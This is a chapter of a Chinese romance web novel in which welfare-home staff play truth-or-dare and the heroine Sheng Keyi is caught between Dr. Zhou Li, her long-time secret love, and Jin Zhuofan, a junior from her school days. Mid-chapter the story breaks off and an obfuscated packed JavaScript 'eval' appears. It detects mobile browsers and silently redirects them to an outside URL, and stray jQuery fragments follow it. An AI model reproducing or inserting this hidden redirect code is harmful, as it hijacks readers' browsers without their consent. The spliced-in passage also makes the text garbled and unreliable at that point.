ch42：


    九点多的时候，把孩子们都安置妥当地哄睡了，对于剩下的大人们却是还尚早的时间。


    加上又几乎算得上是福利院解散前的“最后狂欢”。


    虽然福利院合并过去，他们都还是同事，但肯定见面的机会比不上现在的朝夕相处。


    “真心话大冒险，玩不玩。”何皎皎二话不说，转头立马张罗起来。


    山上的信号不好，手机连登个微信都要转半天的圈，剩下的众人自然都爽快答应。


    “来啊来啊。”


    “这夜深人静的，就该听点八卦。”


    “谁怕谁啊，来来来！”


    何皎皎向盛苛苡的方向招了招手：“盛老师和周医生也来一起呀？”


    落座时，周礼自然而然地坐在了盛苛苡的右手边。


    盛苛苡眸光动了动，将身子默默往左边拉远了些距离。一会儿玩闹起来，说不定会有什么偶然的肢体接触，她可不想当着这么多人的面，还得想着要怎么掩饰自己那份小心思。


    几分钟之后，金卓凡从她左手边走来，也幽幽坐下。


    盛苛苡动作怔住了，本以为左边会挨着个女孩子的；她想了想，又乖乖扯着椅垫蹭了回去。


    余光里，她总觉得周礼的嘴角是弯上了些弧度。


    大庭广众下，盛苛苡又不好光明正大地看他，她紧咬下唇，按下心里的好奇。


    静等游戏的开始。


    他们没事先准备，道具自然简陋，只有有个空了的汽水玻璃瓶。


    何皎皎试了几次，都没能丝滑地转出圈。


    最后无奈只能用随车带来给孩子们研学用的字母扑克牌，刺激是少了点，一人手里抓着个粉粉嫩嫩的纸牌，还有点莫名的诙谐。


    “只能这样了，”何皎皎耸了耸肩，“26张字母牌，随机抽，次序最小和次序最大的接受惩罚。”


    盛苛苡跟在人群中，点点头。


    她几乎就没有参加过团建活动，很少接触这种多人社交游戏，本来还担心规则难以理解，还好这次的规则不难。


    “好！那就开始啦。”何皎皎站在圆圈中央，一个接一个地让众人抽牌。


    说来惭愧，这还是盛苛苡第一次玩“真心话大冒险”的游戏。


    高中时她几乎没参加过课余活动，大学时候薛玥她们知道她喜静，玩这类游戏的局很少主动叫她；毕业之后更是把十二分的心血都倾注在了一粒工作室上，哪还有多余的闲心顾及玩乐。


    所以，盛苛苡心里还有些紧张。


    她从何皎皎手里抽来一张，夹在双掌中。


    卷翘的睫毛微微打颤地垂下，盛苛苡颇为虔诚地在心里默念，祈求“好运”不要降临到自己的身上。


    盛苛苡深呼了一口气，翻开扑克牌，“M”。


    很中位的字母，应该不会是自己，盛苛苡吊着的心放了下来。


    “哎呀——”与此同时，还没来得及坐下的何皎皎发出了一声长叹。


    她无奈地摊开自己手心选中的那张牌：“A，是我了。”


    “还有一个是谁？”


    剩下的人都揣着惴惴不安，四处张望，害怕自己的牌是相对大的那张。


    盛苛苡也不例外，跟着大家，转着眼珠到处打量。


    “是我。”她旁边的金卓凡淡定出声。


    明明比盛苛苡还要小上一岁，但在这种场面里，金卓凡像是永远游刃有余的那个。


    他甚至连眉头都没皱一下，悠哉地举起手来，修长的两指间夹着薄薄的一张卡牌。


    盛苛苡视线看过去，上面写的是“Z”。


    板上钉了钉的惩罚位，怪不得他一副了然于心的神情。


    “问吧。”


    金卓凡来福利院的次数不多，大家和他都不算相熟，连八卦的问题都不知道该从哪里着手问起。


    最后是个负责照看孩子们日常起居的年轻女老师，看不惯尬住了的场面，试探着开口。


    “金医生，是为什么来我们福利院？”


    过于寡淡的提问。


    比起真心话大冒险的环节，好像更适合出现在面试现场。


    在场的其他人纷纷发出咋舌声。


    “学校有做心理义诊的学分要求，至于为什么最后选定了咱们院……”


    金卓凡丝说话一板一眼的，倒也有几分回答面试问题的正经。


    盛苛苡就坐在他身边，正听得认真，就听他突然收住话语。


    她有些纳闷地转过头去看，正巧对上金卓凡的视线，才听他悠悠然地继续：“因为有认识的学姐在。”


    盛苛苡心脏猛地起跳了一下。


    一时没反应过来，依旧和金卓凡保持着对视的姿势。


    在场有人听到过金卓凡称呼盛苛苡“学姐”。


    加之他方才明明官方的话语，突然平增几分昧意不白和此刻的四目对视。


    全场哗然了声，谁也没想到这么平平无奇的问题还真能炸出瓜来。


    角落里两个实习生，疯狂咬着耳朵。


    “不对啊，金医生怎么能是奔着盛老师来的呢？”


    “是啊，我之前还一直在磕周医生和盛老师啊，他们两个人带着小童同框，简直是不要太幸福的一家三口。”


    她俩往周礼的方向偷偷递了视线；周礼的表情不算太好，半耷眼皮，右手端了瓶易拉罐饮料，手背青筋明显，看得出是在隐隐发力。


    两人像是发现新大陆一样，眉眼里都按不住的激动火花四溅。


    “好啦好啦，”何皎皎站出来控场，“我呢，没有人想问我问题吗，我最近的感情生活可挺多能问的哦。”


    在场的老师们都纷纷摆头。


    何皎皎深受家里逼婚苦久，结果相亲还真相到了各方面都超她预期的精英男，两人飞快拉感情线的进度条，眼看着就要走进婚姻殿堂。


    和她男友有关的所有几乎是全勤式地挂在何皎皎的嘴边。


    大家早已经从最开始的好奇心饱满，到了现在这副，瓜都递到嘴边，也懒得咬一口。


    随便问了句婚期定在哪天，何皎皎面色绯红地应了几个正在甄选的日子，这一趴就囫囵过去了。


    在这样的氛围下，盛苛苡也很快地放松了下来。


    只不过刚刚金卓凡回答的问题，还让她有些尴尬。不知道是不是因为这么多年的暗恋，导致她对男女之间的情感有种格外的敏感，他刚刚模棱两可的话，很难不让她联想其他。


    重逢之后，他的举动就怪怪的。


    盛苛苡不敢再往他的方向看，只是默默地又往周礼那边挪了挪位子。


    没有可能的事情，她不想金卓凡再抱有想象。


    又玩过几轮，夜色深了，便有人张罗着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14849476|151950||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最后一把。


    盛苛苡垂眸在负责发牌的老师手里细细看了几圈，葱白的食指轻点在最右侧的一张。发牌人冲她诡异地扬了个笑，她隐约感觉大事不好，掀开之后，果然是最小的“A”。


    全场欢呼：“终于轮到盛老师啦！”


    除了盛苛苡、周礼、金卓凡三人，剩下的大家都已经是共事很久的同事，已经对彼此的八卦没有什么探索的欲.望了。


    最先举手的是两个实习生中的一个。


    她几乎是脱口而出：“盛老师对金医生……”


    还没等她说完，就被另个女生捂住了嘴；有没有意思，几个字淹没在了她的手掌心里。


    “你这个问题太直白了，显得我们太有攻击性。”


    既然是修罗场二选一的问题，只需要用一个最鲜明的特点区分开二人就好。


    一边是“学姐”，一边是工作关系的相识。


    这个女生朝同伙递了个“包在我身上”的眼神，自信满满地开口：“盛老师现在心里更有好感的人，是在工作之后才认识的吗？”


    盛苛苡咽了咽口水。


    她轻轻地摇了摇头，只是说到这个份上，周礼应该不会起疑心吧。


    指尖紧掐着纸牌边沿，泛开了重重的白圈，将她的紧张体现得淋漓尽致。


    心脏已经快从喉咙跳出来，她却还努力地让自己的语气听起来平静得不起波澜：“认识在工作之前。”


    在场的其他人没反应过来这段对答的深层含义，不乏有人觉得浪费了个问问题的机会。


    只有两个女生心满意足地互递视线。


    双双坐下后，才重新开始咬耳朵：“周医生输了？”


    “我天！怎么会是这个发展！”她俩立马往周礼的方向看去，他还保持着刚刚的姿势，不过手中的易拉罐像是瘪了些，“感觉周医生快把那个罐子徒手捏碎了。”


    “修罗场啊，有生之年我居然能现场看到男二横空出世，成功上位，博得美人归？”


    修罗场的主人公坐在原地，等到所有人的注意力从她身上转移开，盛苛苡那颗疯狂跳动的心才归于安宁。


    她总是这样，越多的人注意她的存在，越觉得不适应。


    大家都忙着打量彼此手里的卡片找到更大的那个，面面相觑了一会儿，纷纷将视线投向周礼。


    “周医生，就差你的啦！”何皎皎已然玩得上头，两只眼睛亮晶晶地看向他。


    周礼将手里的易拉罐轻放在地上，左手掀开自己的牌——


    “V”


    成了全场最大的牌。


    盛苛苡视线落在卡片上，呼吸猛地一滞。暗恋多年的习惯作祟，她还是会对诸如此类的小缘分紧张。


    一整晚的游戏，他们都没被抽中惩罚。


    偏偏是最后一把。


    偏偏是他和她。


    “有什么想问吗？”


    周礼那双眸子终于含上了朦胧笑意。


    盛苛苡右侧的脸颊开始不受控地发烫起来，因为她感受得到，周礼的目光落在自己身上。


    是那个意思吗？


    在场这么多的人，他却只问她，有什么想问他的吗。


    她心跳鼓动不止，第一次觉得，她是和周礼关系最亲近的那个。


    十年了，原来那个被他特别关注的人。


    也可以是自己啊——